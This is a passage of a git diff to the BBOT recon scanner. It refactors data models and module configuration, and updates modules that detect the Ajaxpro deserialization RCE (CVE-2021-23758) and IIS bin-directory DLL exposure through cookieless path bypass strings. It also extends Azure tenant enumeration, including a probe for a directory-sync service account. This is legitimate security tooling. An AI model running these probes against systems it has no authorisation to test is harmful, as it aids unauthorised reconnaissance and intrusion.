-class WebError(BBOTEngineError):
+class DNSError(BBOTError):
     pass
 
 
-class DNSError(BBOTEngineError):
+class ExcavateError(BBOTError):
     pass
 
 
-class ExcavateError(BBOTError):
+class ASNResolutionError(BBOTError):
     pass
diff --git a/bbot/logger.py b/bbot/logger.py
index 5073d7379d..519521a5dd 100644
--- a/bbot/logger.py
+++ b/bbot/logger.py
@@ -34,6 +34,9 @@
 
 
 def colorize(s, level="INFO"):
+    # honor the NO_COLOR convention (https://no-color.org)
+    if os.environ.get("NO_COLOR", ""):
+        return s
     seq = color_mapping.get(level, 15)  # default white
     colored = f"{color_prefix}{seq}m{s}{color_suffix}"
     return colored
diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py
new file mode 100644
index 0000000000..b94bc976cc
--- /dev/null
+++ b/bbot/models/helpers.py
@@ -0,0 +1,20 @@
+from datetime import datetime
+from zoneinfo import ZoneInfo
+
+
+def utc_datetime_validator(d: datetime) -> datetime:
+    """
+    Converts all dates into UTC
+    """
+    if d.tzinfo is not None:
+        return d.astimezone(ZoneInfo("UTC"))
+    else:
+        return d.replace(tzinfo=ZoneInfo("UTC"))
+
+
+def utc_now() -> datetime:
+    return datetime.now(ZoneInfo("UTC"))
+
+
+def utc_now_timestamp() -> datetime:
+    return utc_now().timestamp()
diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py
new file mode 100644
index 0000000000..6f6d624338
--- /dev/null
+++ b/bbot/models/pydantic.py
@@ -0,0 +1,159 @@
+import json
+import logging
+from pydantic import BaseModel, ConfigDict, Field, computed_field
+from typing import Optional, List, Annotated, get_origin, get_args
+
+from bbot.models.helpers import utc_now_timestamp
+
+log = logging.getLogger("bbot_server.models")
+
+
+class BBOTBaseModel(BaseModel):
+    model_config = ConfigDict(extra="ignore")
+
+    def to_json(self, **kwargs):
+        return json.dumps(self.model_dump(), sort_keys=True, **kwargs)
+
+    def __hash__(self):
+        return hash(self.to_json())
+
+    def __eq__(self, other):
+        return hash(self) == hash(other)
+
+    @classmethod
+    def indexed_fields(cls):
+        indexed_fields = {}
+
+        # Handle regular fields
+        for fieldname, field in cls.model_fields.items():
+            if any(isinstance(m, str) and m.startswith("indexed") for m in field.metadata):
+                indexed_fields[fieldname] = field.metadata
+
+        # Handle computed fields
+        for fieldname, field in cls.model_computed_fields.items():
+            return_type = field.return_type
+            if get_origin(return_type) is Annotated:
+                type_args = get_args(return_type)
+                metadata = list(type_args[1:])  # Skip the first arg (the actual type)
+                if any(isinstance(m, str) and m.startswith("indexed") for m in metadata):
+                    indexed_fields[fieldname] = metadata
+
+        return indexed_fields
+
+    # we keep these because they were a lot of work to make and maybe someday they'll be useful again
+
+    # @classmethod
+    # def _get_type_hints(cls):
+    #     """
+    #     Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint
+    #     """
+    #     type_hints = get_type_hints(cls)
+    #     unwrapped_type_hints = {}
+    #     for field_name in cls.model_fields:
+    #         type_hint = type_hints[field_name]
+    #         while 1:
+    #             if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union):
+    #                 type_hint = type_hint.__args__[0]
+    #             else:
+    #                 break
+    #         unwrapped_type_hints[field_name] = type_hint
+    #     return unwrapped_type_hints
+
+    # @classmethod
+    # def _datetime_fields(cls):
+    #     datetime_fields = []
+    #     for field_name, type_hint in cls._get_type_hints().items():
+    #         if type_hint == datetime:
+    #             datetime_fields.append(field_name)
+    #     return sorted(datetime_fields)
+
+
+### EVENT ###
+
+
+class Event(BBOTBaseModel):
+    uuid: Annotated[str, "indexed", "unique"]
+    id: Annotated[str, "indexed"]
+    type: Annotated[str, "indexed"]
+    scope_description: str
+    data: Annotated[Optional[str], "indexed"] = None
+    data_json: Optional[dict] = None
+    host: Annotated[Optional[str], "indexed"] = None
+    port: Optional[int] = None
+    netloc: Optional[str] = None
+    resolved_hosts: Optional[List] = None
+    dns_children: Optional[dict] = None
+    web_spider_distance: Optional[int] = None
+    scope_distance: int = 10
+    scan: Annotated[str, "indexed"]
+    timestamp: Annotated[float, "indexed"]
+    inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=utc_now_timestamp)
+    parent: Annotated[str, "indexed"]
+    parent_uuid: Annotated[str, "indexed"]
+    tags: List = []
+    host_metadata: Optional[dict] = None
+    module: Annotated[Optional[str], "indexed"] = None
+    module_sequence: Optional[str] = None
+    discovery_context: str = ""
+    discovery_path: List[str] = []
+    parent_chain: List[str] = []
+    archived: bool = False
+
+    def get_data(self):
+        if self.data is not None:
+            return self.data
+        return self.data_json
+
+    def __hash__(self):
+        return hash(self.id)
+
+    @computed_field
+    @property
+    def reverse_host(self) -> Annotated[Optional[str], "indexed"]:
+        """
+        We store the host in reverse to allow for instant subdomain queries
+        This works because indexes are left-anchored, but we need to search starting from the right side
+        """
+        if self.host:
+            return self.host[::-1]
+        return None
+
+
+### SCAN ###
+
+
+class Scan(BBOTBaseModel):
+    id: Annotated[str, "indexed", "unique"]
+    name: str
+    status: Annotated[str, "indexed"]
+    started_at: Annotated[float, "indexed"]
+    finished_at: Annotated[Optional[float], "indexed"] = None
+    duration_seconds: Optional[float] = None
+    duration: Optional[str] = None
+    target: dict
+    preset: dict
+
+    @classmethod
+    def from_scan(cls, scan):
+        return cls(
+            id=scan.id,
+            name=scan.name,
+            status=scan.status,
+            started_at=scan.started_at,
+        )
+
+
+### TARGET ###
+
+
+class Target(BBOTBaseModel):
+    name: str = "Default Target"
+    strict_scope: bool = False
+    target: List = []
+    seeds: Optional[List] = None
+    blacklist: List = []
+    hash: Annotated[str, "indexed", "unique"]
+    scope_hash: Annotated[str, "indexed"]
+    seed_hash: Annotated[str, "indexed"]
+    target_hash: Annotated[str, "indexed"]
+    blacklist_hash: Annotated[str, "indexed"]
diff --git a/bbot/db/sql/models.py b/bbot/models/sql.py
similarity index 77%
rename from bbot/db/sql/models.py
rename to bbot/models/sql.py
index d6e7656108..a419f6a56e 100644
--- a/bbot/db/sql/models.py
+++ b/bbot/models/sql.py
@@ -3,13 +3,15 @@
 
 import json
 import logging
+from datetime import datetime
 from pydantic import ConfigDict
 from typing import List, Optional
-from datetime import datetime, timezone
 from typing_extensions import Annotated
 from pydantic.functional_validators import AfterValidator
 from sqlmodel import inspect, Column, Field, SQLModel, JSON, String, DateTime as SQLADateTime
 
+from bbot.models.helpers import utc_now_timestamp
+
 
 log = logging.getLogger("bbot_server.models")
 
@@ -27,14 +29,6 @@ def naive_datetime_validator(d: datetime):
 NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)]
 
 
-class CustomJSONEncoder(json.JSONEncoder):
-    def default(self, obj):
-        # handle datetime
-        if isinstance(obj, datetime):
-            return obj.isoformat()
-        return super().default(obj)
-
-
 class BBOTBaseModel(SQLModel):
     model_config = ConfigDict(extra="ignore")
 
@@ -52,7 +46,7 @@ def validated(self):
             return self
 
     def to_json(self, **kwargs):
-        return json.dumps(self.validated.model_dump(), sort_keys=True, cls=CustomJSONEncoder, **kwargs)
+        return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs)
 
     @classmethod
     def _pk_column_names(cls):
@@ -71,20 +65,13 @@ def __eq__(self, other):
 class Event(BBOTBaseModel, table=True):
     def __init__(self, *args, **kwargs):
         super().__init__(*args, **kwargs)
-        data = self._get_data(self.data, self.type)
-        self.data = {self.type: data}
         if self.host:
             self.reverse_host = self.host[::-1]
 
     def get_data(self):
-        return self._get_data(self.data, self.type)
-
-    @staticmethod
-    def _get_data(data, type):
-        # handle SIEM-friendly format
-        if isinstance(data, dict) and list(data) == [type]:
-            return data[type]
-        return data
+        if self.data is not None:
+            return self.data
+        return self.data_json
 
     uuid: str = Field(
         primary_key=True,
@@ -93,27 +80,29 @@ def _get_data(data, type):
     )
     id: str = Field(index=True)
     type: str = Field(index=True)
-    scope_description: str
-    data: dict = Field(sa_type=JSON)
+    data: Optional[str] = Field(default=None, index=True)
+    data_json: Optional[dict] = Field(default=None, sa_type=JSON)
     host: Optional[str]
     port: Optional[int]
     netloc: Optional[str]
+    scope_description: str
     # store the host in reversed form for efficient lookups by domain
     reverse_host: Optional[str] = Field(default="", exclude=True, index=True)
     resolved_hosts: List = Field(default=[], sa_type=JSON)
     dns_children: dict = Field(default={}, sa_type=JSON)
-    web_spider_distance: int = 10
+    web_spider_distance: Optional[int] = None
     scope_distance: int = Field(default=10, index=True)
     scan: str = Field(index=True)
-    timestamp: NaiveUTC = Field(index=True)
+    timestamp: float = Field(index=True)
+    inserted_at: float = Field(default_factory=utc_now_timestamp)
     parent: str = Field(index=True)
     tags: List = Field(default=[], sa_type=JSON)
+    host_metadata: dict = Field(default={}, sa_type=JSON)
     module: str = Field(index=True)
     module_sequence: str
     discovery_context: str = ""
     discovery_path: List[str] = Field(default=[], sa_type=JSON)
     parent_chain: List[str] = Field(default=[], sa_type=JSON)
-    inserted_at: NaiveUTC = Field(default_factory=lambda: datetime.now(timezone.utc))
 
 
 ### SCAN ###
@@ -137,11 +126,11 @@ class Scan(BBOTBaseModel, table=True):
 class Target(BBOTBaseModel, table=True):
     name: str = "Default Target"
     strict_scope: bool = False
-    seeds: List = Field(default=[], sa_type=JSON)
-    whitelist: List = Field(default=None, sa_type=JSON)
+    target: List = Field(default=[], sa_type=JSON)
+    seeds: Optional[List] = Field(default=None, sa_type=JSON)
     blacklist: List = Field(default=[], sa_type=JSON)
     hash: str = Field(sa_column=Column("hash", String(length=255), unique=True, primary_key=True, index=True))
     scope_hash: str = Field(sa_column=Column("scope_hash", String(length=255), index=True))
-    seed_hash: str = Field(sa_column=Column("seed_hashhash", String(length=255), index=True))
-    whitelist_hash: str = Field(sa_column=Column("whitelist_hash", String(length=255), index=True))
+    seed_hash: str = Field(sa_column=Column("seed_hash", String(length=255), index=True))
+    target_hash: str = Field(sa_column=Column("target_hash", String(length=255), index=True))
     blacklist_hash: str = Field(sa_column=Column("blacklist_hash", String(length=255), index=True))
diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py
index 1df424ebcc..846133cc5c 100644
--- a/bbot/modules/ajaxpro.py
+++ b/bbot/modules/ajaxpro.py
@@ -10,8 +10,8 @@ class ajaxpro(BaseModule):
 
     ajaxpro_regex = re.compile(r'<script.+src="([\/a-zA-Z0-9\._]+,[a-zA-Z0-9\._]+\.ashx)"')
     watched_events = ["HTTP_RESPONSE", "URL"]
-    produced_events = ["VULNERABILITY", "FINDING"]
-    flags = ["active", "safe", "web-thorough"]
+    produced_events = ["FINDING", "TECHNOLOGY"]
+    flags = ["safe", "active", "web-heavy"]
     meta = {
         "description": "Check for potentially vulnerable Ajaxpro instances",
         "created_date": "2024-01-18",
@@ -26,26 +26,26 @@ async def handle_event(self, event):
 
     async def check_url_event(self, event):
         for stem in ["ajax", "ajaxpro"]:
-            probe_url = f"{event.data}{stem}/whatever.ashx"
+            probe_url = f"{event.url}{stem}/whatever.ashx"
             probe = await self.helpers.request(probe_url)
             if probe and probe.status_code == 200:
-                confirm_url = f"{event.data}a/whatever.ashx"
+                confirm_url = f"{event.url}a/whatever.ashx"
                 confirm_probe = await self.helpers.request(confirm_url)
                 if confirm_probe and confirm_probe.status_code != 200:
                     await self.emit_technology(event, probe_url)
                     await self.confirm_exploitability(probe_url, event)
 
     async def check_http_response_event(self, event):
-        resp_body = event.data.get("body")
+        resp_body = event.body
         if resp_body:
             match = await self.helpers.re.search(self.ajaxpro_regex, resp_body)
             if match:
-                ajaxpro_path = match.group(0)
+                ajaxpro_path = match.group(1)
                 await self.emit_technology(event, ajaxpro_path)
                 await self.confirm_exploitability(ajaxpro_path, event)
 
     async def emit_technology(self, event, detection_url):
-        url = event.data if event.type == "URL" else event.data["url"]
+        url = event.url
         await self.emit_event(
             {
                 "host": str(event.host),
@@ -71,15 +71,21 @@ async def confirm_exploitability(self, detection_url, event):
 
         probe_response = await self.helpers.request(full_url, method="POST", headers=headers, json=payload)
         if probe_response:
-            if "AjaxPro.Services.ICartService" and "MissingMethodException" in probe_response.text:
+            if (
+                "AjaxPro.Services.ICartService" in probe_response.text
+                and "MissingMethodException" in probe_response.text
+            ):
                 await self.emit_event(
                     {
                         "host": str(event.host),
+                        "name": "Ajaxpro Deserialization RCE (CVE-2021-23758)",
+                        "cves": ["CVE-2021-23758"],
                         "severity": "CRITICAL",
-                        "url": event.data if event.type == "URL" else event.data["url"],
+                        "confidence": "HIGH",
+                        "url": event.url,
                         "description": f"Ajaxpro Deserialization RCE (CVE-2021-23758) Trigger: [{full_url}]",
                     },
-                    "VULNERABILITY",
+                    "FINDING",
                     event,
                     context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {detection_url}",
                 )
diff --git a/bbot/modules/anubisdb.py b/bbot/modules/anubisdb.py
index 597f5520d3..c69e976596 100644
--- a/bbot/modules/anubisdb.py
+++ b/bbot/modules/anubisdb.py
@@ -1,21 +1,24 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class anubisdb(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
-        "description": "Query jldc.me's database for subdomains",
+        "description": "Query anubisdb.com for subdomains",
         "created_date": "2022-10-04",
         "author": "@TheTechromancer",
     }
-    options = {"limit": 1000}
-    options_desc = {
-        "limit": "Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)"
-    }
 
-    base_url = "https://jldc.me/anubis/subdomains"
+    class Config(BaseModuleConfig):
+        limit: int = Field(
+            1000,
+            description="Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)",
+        )
+
+    base_url = "https://anubisdb.com/anubis/subdomains"
     dns_abort_depth = 5
 
     async def request_url(self, query):
diff --git a/bbot/modules/apkpure.py b/bbot/modules/apkpure.py
index f32ed5a3da..63f5e7563e 100644
--- a/bbot/modules/apkpure.py
+++ b/bbot/modules/apkpure.py
@@ -1,21 +1,24 @@
 import re
 from pathlib import Path
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class apkpure(BaseModule):
     watched_events = ["MOBILE_APP"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe", "code-enum", "download"]
+    flags = ["safe", "passive", "code-enum", "download"]
     meta = {
         "description": "Download android applications from apkpure.com",
         "created_date": "2024-10-11",
         "author": "@domwhewell-sage",
     }
-    options = {"output_folder": ""}
-    options_desc = {
-        "output_folder": "Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage."
-    }
+
+    class Config(BaseModuleConfig):
+        output_folder: str = Field(
+            "",
+            description="Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage.",
+        )
 
     async def setup(self):
         output_folder = self.config.get("output_folder", "")
diff --git a/bbot/modules/aspnet_bin_exposure.py b/bbot/modules/aspnet_bin_exposure.py
index 9367058412..fb671cd2d9 100644
--- a/bbot/modules/aspnet_bin_exposure.py
+++ b/bbot/modules/aspnet_bin_exposure.py
@@ -3,8 +3,8 @@
 
 class aspnet_bin_exposure(BaseModule):
     watched_events = ["URL"]
-    produced_events = ["VULNERABILITY"]
-    flags = ["active", "safe", "web-thorough"]
+    produced_events = ["FINDING"]
+    flags = ["safe", "active", "web-heavy"]
     meta = {
         "description": "Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560)",
         "created_date": "2025-01-28",
@@ -12,6 +12,8 @@ class aspnet_bin_exposure(BaseModule):
     }
 
     in_scope_only = True
+    _module_threads = 2
+
     test_dlls = [
         "Telerik.Web.UI.dll",
         "Newtonsoft.Json.dll",
@@ -19,60 +21,64 @@ class aspnet_bin_exposure(BaseModule):
         "EntityFramework.dll",
         "AjaxControlToolkit.dll",
     ]
+    _techniques = [
+        "b/(S(X))in/###DLL_PLACEHOLDER###/(S(X))/",
+        "(S(X))/b/(S(X))in/###DLL_PLACEHOLDER###",
+    ]
 
     @staticmethod
     def normalize_url(url):
         return str(url.rstrip("/") + "/").lower()
 
     def _incoming_dedup_hash(self, event):
-        return hash(self.normalize_url(event.data))
+        return hash(self.normalize_url(event.url))
+
+    @staticmethod
+    def _is_dll_download(response):
+        return (
+            response is not None
+            and response.status_code == 200
+            and "content-type" in response.headers
+            and "application/x-msdownload" in response.headers["content-type"]
+        )
 
     async def handle_event(self, event):
-        normalized_url = self.normalize_url(event.data)
+        normalized_url = self.normalize_url(event.url)
+        kwargs = {"method": "GET", "allow_redirects": False, "timeout": 10}
+
+        probes = []
         for test_dll in self.test_dlls:
-            for technique in ["b/(S(X))in/###DLL_PLACEHOLDER###/(S(X))/", "(S(X))/b/(S(X))in/###DLL_PLACEHOLDER###"]:
+            for technique in self._techniques:
                 test_url = f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', test_dll)}"
-                self.debug(f"Sending test URL: [{test_url}]")
-                kwargs = {"method": "GET", "allow_redirects": False, "timeout": 10}
-                test_result = await self.helpers.request(test_url, **kwargs)
-                if test_result:
-                    if test_result.status_code == 200 and (
-                        "content-type" in test_result.headers
-                        and "application/x-msdownload" in test_result.headers["content-type"]
-                    ):
-                        self.debug(
-                            f"Got positive result for probe with test url: [{test_url}]. Status Code: [{test_result.status_code}] Content Length: [{len(test_result.content)}]"
-                        )
+                probes.append((test_url, kwargs, technique))
+
+        async for test_url, test_result, technique in self.helpers.request_batch_stream(probes, threads=10):
+            if not self._is_dll_download(test_result):
+                continue
+
+            self.debug(
+                f"Got positive result for probe with test url: [{test_url}]. Status Code: [{test_result.status_code}] Content Length: [{len(test_result.content)}]"
+            )
 
-                        if test_result.status_code == 200 and (
-                            "content-type" in test_result.headers
-                            and "application/x-msdownload" in test_result.headers["content-type"]
-                        ):
-                            confirm_url = (
-                                f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', 'oopsnotarealdll.dll')}"
-                            )
-                            confirm_result = await self.helpers.request(confirm_url, **kwargs)
+            confirm_url = f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', 'oopsnotarealdll.dll')}"
+            confirm_result = await self.helpers.request(confirm_url, **kwargs)
 
-                            if confirm_result and (
-                                confirm_result.status_code != 200
-                                or not (
-                                    "content-type" in confirm_result.headers
-                                    and "application/x-msdownload" in confirm_result.headers["content-type"]
-                                )
-                            ):
-                                description = f"IIS Bin Directory DLL Exposure. Detection Url: [{test_url}]"
-                                await self.emit_event(
-                                    {
-                                        "severity": "HIGH",
-                                        "host": str(event.host),
-                                        "url": normalized_url,
-                                        "description": description,
-                                    },
-                                    "VULNERABILITY",
-                                    event,
-                                    context="{module} detected IIS Bin Directory DLL Exposure vulnerability",
-                                )
-                                return True
+            if confirm_result and not self._is_dll_download(confirm_result):
+                description = f"IIS Bin Directory DLL Exposure. Detection Url: [{test_url}]"
+                await self.emit_event(
+                    {
+                        "name": "IIS Bin Directory DLL Exposure",
+                        "severity": "HIGH",
+                        "confidence": "HIGH",
+                        "host": str(event.host),
+                        "url": normalized_url,
+                        "description": description,
+                    },
+                    "FINDING",
+                    event,
+                    context="{module} detected IIS Bin Directory DLL Exposure vulnerability",
+                )
+                return True
 
     async def filter_event(self, event):
         if "dir" in event.tags:
diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py
index 4a323fece3..23c6c93ba3 100644
--- a/bbot/modules/azure_tenant.py
+++ b/bbot/modules/azure_tenant.py
@@ -1,12 +1,14 @@
+import asyncio
+
 from bbot.modules.base import BaseModule
 
 
 class azure_tenant(BaseModule):
     watched_events = ["DNS_NAME"]
-    produced_events = ["DNS_NAME"]
-    flags = ["affiliates", "subdomain-enum", "cloud-enum", "passive", "safe"]
+    produced_events = ["DNS_NAME", "AZURE_TENANT", "FINDING", "URL_UNVERIFIED"]
+    flags = ["safe", "affiliates", "subdomain-enum", "cloud-enum", "passive"]
     meta = {
-        "description": "Query Azure via azmap.dev for tenant sister domains",
+        "description": "Query Azure for tenant information using multiple enumeration methods",
         "created_date": "2024-07-04",
         "author": "@TheTechromancer",
     }
@@ -21,53 +23,52 @@ async def setup(self):
 
     async def handle_event(self, event):
         _, query = self.helpers.split_domain(event.data)
-        tenant_data = await self.query(query)
+
+        # 1. Query azmap.dev for tenant domains (keep for OPSEC)
+        tenant_data = await self.query_azmap(query)
 
         if not tenant_data:
             return
 
-        tenant_id = tenant_data.get("tenant_id")
-        tenant_name = tenant_data.get("tenant_name")
-        email_domains = tenant_data.get("email_domains", [])
+        # 2. Gather additional data from multiple sources in parallel
+        onmicrosoft_domain = self._get_onmicrosoft_domain(tenant_data)
 
-        if email_domains:
-            self.verbose(
-                f'Found {len(email_domains):,} domains under tenant for "{query}": {", ".join(sorted(email_domains))}'
-            )
-            for domain in email_domains:
-                if domain != query:
-                    await self.emit_event(
-                        domain,
-                        "DNS_NAME",
-                        parent=event,
-                        tags=["affiliate", "azure-tenant"],
-                        context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {{event.data}}',
-                    )
+        # Run all queries in parallel
+        results = await asyncio.gather(
+            self.query_odc(query),
+            self.query_openid(query),
+            self.query_getcredentialtype(query),
+            self.query_userrealm_v2(query),
+            self.query_mtasts(query),
+        )
+        odc_data, openid_data, getcred_data, userrealm_data, mtasts_data = results
 
-            # Build tenant names list (include the tenant name from the API)
-            tenant_names = []
-            if tenant_name:
-                tenant_names.append(tenant_name)
+        # 3. Check for directory sync if we have .onmicrosoft.com domain
+        sync_data = await self.query_directory_sync(onmicrosoft_domain) if onmicrosoft_domain else {}
 
-            # Also extract tenant names from .onmicrosoft.com domains
-            for domain in email_domains:
-                if domain.lower().endswith(".onmicrosoft.com"):
-                    tenantname = domain.split(".")[0].lower()
-                    if tenantname and tenantname not in tenant_names:
-                        tenant_names.append(tenantname)
-
-            event_data = {"tenant-names": tenant_names, "domains": sorted(email_domains)}
-            tenant_names_str = ",".join(tenant_names)
-            if tenant_id:
-                event_data["tenant-id"] = tenant_id
-            await self.emit_event(
-                event_data,
-                "AZURE_TENANT",
-                parent=event,
-                context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {tenant_names_str}',
-            )
+        # 4. Merge all data sources into comprehensive event
+        azure_tenant_event = self.merge_tenant_data(
+            query, tenant_data, odc_data, openid_data, getcred_data, userrealm_data, mtasts_data, sync_data
+        )
+
+        # 5. Emit DNS_NAME events for discovered domains (existing functionality)
+        await self.emit_discovered_domains(event, tenant_data, query)
+
+        # 6. Emit comprehensive AZURE_TENANT event
+        tenant_names = azure_tenant_event.get("tenant-names", [])
+        tenant_names_str = ",".join(tenant_names)
+        await self.emit_event(
+            azure_tenant_event,
+            "AZURE_TENANT",
+            parent=event,
+            context=f'{{module}} performed comprehensive Azure tenant enumeration for "{query}" and found {{event.type}}: {tenant_names_str}',
+        )
 
-    async def query(self, domain):
+        # 7. Emit FINDING events for notable discoveries
+        await self.emit_findings(event, query, azure_tenant_event)
+
+    async def query_azmap(self, domain):
+        """Query azmap.dev API for tenant domains (existing functionality)."""
         url = f"{self.base_url}?domain={domain}&extract=true"
 
         self.debug(f"Retrieving tenant domains at {url}")
@@ -93,3 +94,456 @@ async def query(self, domain):
             self.scan.word_cloud.absorb_word(d)
 
         return tenant_data
+
+    async def query_odc(self, domain):
+        """Query odc.officeapps.live.com for tenant ID and org name."""
+        url = f"https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain={domain}"
+
+        try:
+            r = await self.helpers.request(url)
+            if r is None:
+                self.debug(f"No response from ODC endpoint for {domain}")
+                return {}
+
+            status_code = getattr(r, "status_code", 0)
+            if status_code != 200:
+                self.debug(f"ODC endpoint returned status {status_code} for {domain}")
+                return {}
+
+            data = r.json()
+            if not data or not isinstance(data, dict):
+                return {}
+
+            # Extract relevant fields
+            result = {}
+            if "TenantId" in data:
+                result["tenant-id"] = data["TenantId"]
+            if "FederationBrandName" in data:
+                result["federation-brand-name"] = data["FederationBrandName"]
+
+            return result
+
+        except Exception as e:
+            self.debug(f"Error querying ODC endpoint for {domain}: {e}")
+            return {}
+
+    async def query_openid(self, domain):
+        """Query OpenID configuration for region and cloud type."""
+        url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
+
+        try:
+            r = await self.helpers.request(url)
+            if r is None:
+                self.debug(f"No response from OpenID endpoint for {domain}")
+                return {}
+
+            status_code = getattr(r, "status_code", 0)
+            if status_code == 404:
+                self.debug(f"Domain {domain} not registered to Azure AD (OpenID config returned 404)")
+                return {}
+            if status_code != 200:
+                self.debug(f"OpenID endpoint returned status {status_code} for {domain}")
+                return {}
+
+            data = r.json()
+            if not data or not isinstance(data, dict):
+                return {}
+
+            # Extract relevant fields
+            result = {}
+            if "tenant_region_scope" in data:
+                result["tenant-region"] = data["tenant_region_scope"]
+            if "tenant_region_sub_scope" in data:
+                result["tenant-region-sub"] = data["tenant_region_sub_scope"]
+            if "cloud_instance_name" in data:
+                result["cloud-instance"] = data["cloud_instance_name"]
+
+            return result
+
+        except Exception as e:
+            self.debug(f"Error querying OpenID endpoint for {domain}: {e}")
+            return {}
+
+    async def query_getcredentialtype(self, domain):
+        """Query GetCredentialType API for Desktop SSO, CBA, and federation info."""
+        url = "https://login.microsoftonline.com/common/GetCredentialType"
+        headers = {"Content-Type": "application/json; charset=UTF-8"}
+
+        body = {
+            "username": f"test@{domain}",
+            "isOtherIdpSupported": True,
+            "checkPhones": True,
+            "isRemoteNGCSupported": True,
+            "isCookieBannerShown": False,
+            "isFidoSupported": True,
+            "isAccessPassSupported": True,
+        }
+
+        try:
+            r = await self.helpers.request(url, method="POST", headers=headers, json=body)
+            if r is None:
+                self.debug(f"No response from GetCredentialType endpoint for {domain}")
+                return {}
+
+            status_code = getattr(r, "status_code", 0)
+            if status_code != 200:
+                self.debug(f"GetCredentialType endpoint returned status {status_code} for {domain}")
+                return {}
+
+            data = r.json()
+            if not data or not isinstance(data, dict):
+                return {}
+
+            # Extract relevant fields
+            result = {}
+
+            # Desktop SSO and CBA from EstsProperties
+            ests_props = data.get("EstsProperties", {})
+            if isinstance(ests_props, dict):
+                if "DesktopSsoEnabled" in ests_props:
+                    result["desktop-sso-enabled"] = ests_props["DesktopSsoEnabled"]
+                if "DomainType" in ests_props:
+                    result["domain-type"] = ests_props["DomainType"]
+
+            # Certificate auth from Credentials
+            credentials = data.get("Credentials", {})
+            if isinstance(credentials, dict):
+                if "HasCertAuth" in credentials:
+                    result["certificate-auth-enabled"] = credentials["HasCertAuth"]
+                if "FederationRedirectUrl" in credentials:
+                    result["federation-redirect-url"] = credentials["FederationRedirectUrl"]
+
+            return result
+
+        except Exception as e:
+            self.debug(f"Error querying GetCredentialType endpoint for {domain}: {e}")
+            return {}
+
+    async def query_userrealm_v2(self, domain):
+        """Query UserRealm v2.0 API for account type and branding."""
+        url = f"https://login.microsoftonline.com/common/userrealm/test@{domain}?api-version=2.0"
+
+        try:
+            r = await self.helpers.request(url)
+            if r is None:
+                self.debug(f"No response from UserRealm v2.0 endpoint for {domain}")
+                return {}
+
+            status_code = getattr(r, "status_code", 0)
+            if status_code != 200:
+                self.debug(f"UserRealm v2.0 endpoint returned status {status_code} for {domain}")
+                return {}
+
+            data = r.json()
+            if not data or not isinstance(data, dict):
+                return {}
+
+            # Extract relevant fields
+            result = {}
+            if "NameSpaceType" in data:
+                result["account-type"] = data["NameSpaceType"]
+
+            # Extract branding information if available
+            branding_info = data.get("TenantBrandingInfo")
+            if branding_info and isinstance(branding_info, list) and len(branding_info) > 0:
+                branding = branding_info[0]
+                if isinstance(branding, dict):
+                    branding_data = {}
+                    if "BannerLogo" in branding:
+                        branding_data["banner-logo"] = branding["BannerLogo"]
+                    if "TileLogo" in branding:
+                        branding_data["tile-logo"] = branding["TileLogo"]
+                    if "BackgroundColor" in branding:
+                        branding_data["background-color"] = branding["BackgroundColor"]
+                    if branding_data:
+                        result["tenant-branding"] = branding_data
+
+            return result
+
+        except Exception as e:
+            self.debug(f"Error querying UserRealm v2.0 endpoint for {domain}: {e}")
+            return {}
+
+    async def query_mtasts(self, domain):
+        """Query MTA-STS policy to detect Exchange Online."""
+        url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt"
+
+        try:
+            r = await self.helpers.request(url)
+            if r is None:
+                self.debug(f"No response from MTA-STS endpoint for {domain}")
+                return {}
+
+            status_code = getattr(r, "status_code", 0)
+            if status_code == 404:
+                self.debug(f"No MTA-STS policy found for {domain}")
+                return {}
+            if status_code != 200:
+                self.debug(f"MTA-STS endpoint returned status {status_code} for {domain}")
+                return {}
+
+            content = r.text
+            if not content:
+                return {}
+
+            # Check if Exchange Online is in the MX records
+            result = {}
+            if "mail.protection.outlook.com" in content.lower():
+                result["exchange-online"] = True
+                result["mta-sts-mode"] = None
+
+                # Extract mode if present
+                for line in content.split("\n"):
+                    if line.startswith("mode:"):
+                        result["mta-sts-mode"] = line.split(":", 1)[1].strip()
+                        break
+
+            return result
+
+        except Exception as e:
+            self.debug(f"Error querying MTA-STS endpoint for {domain}: {e}")
+            return {}
+
+    async def query_directory_sync(self, onmicrosoft_domain):
+        """Check if directory sync is enabled by testing for sync service account."""
+        if not onmicrosoft_domain:
+            return {}
+
+        url = "https://login.microsoftonline.com/common/GetCredentialType"
+        headers = {"Content-Type": "application/json; charset=UTF-8"}
+
+        sync_username = f"ADToAADSyncServiceAccount@{onmicrosoft_domain}"
+        body = {
+            "username": sync_username,
+            "isOtherIdpSupported": True,
+            "checkPhones": False,
+            "isRemoteNGCSupported": False,
+            "isCookieBannerShown": False,
+            "isFidoSupported": False,
+            "isAccessPassSupported": False,
+        }
+
+        try:
+            r = await self.helpers.request(url, method="POST", headers=headers, json=body)
+            if r is None:
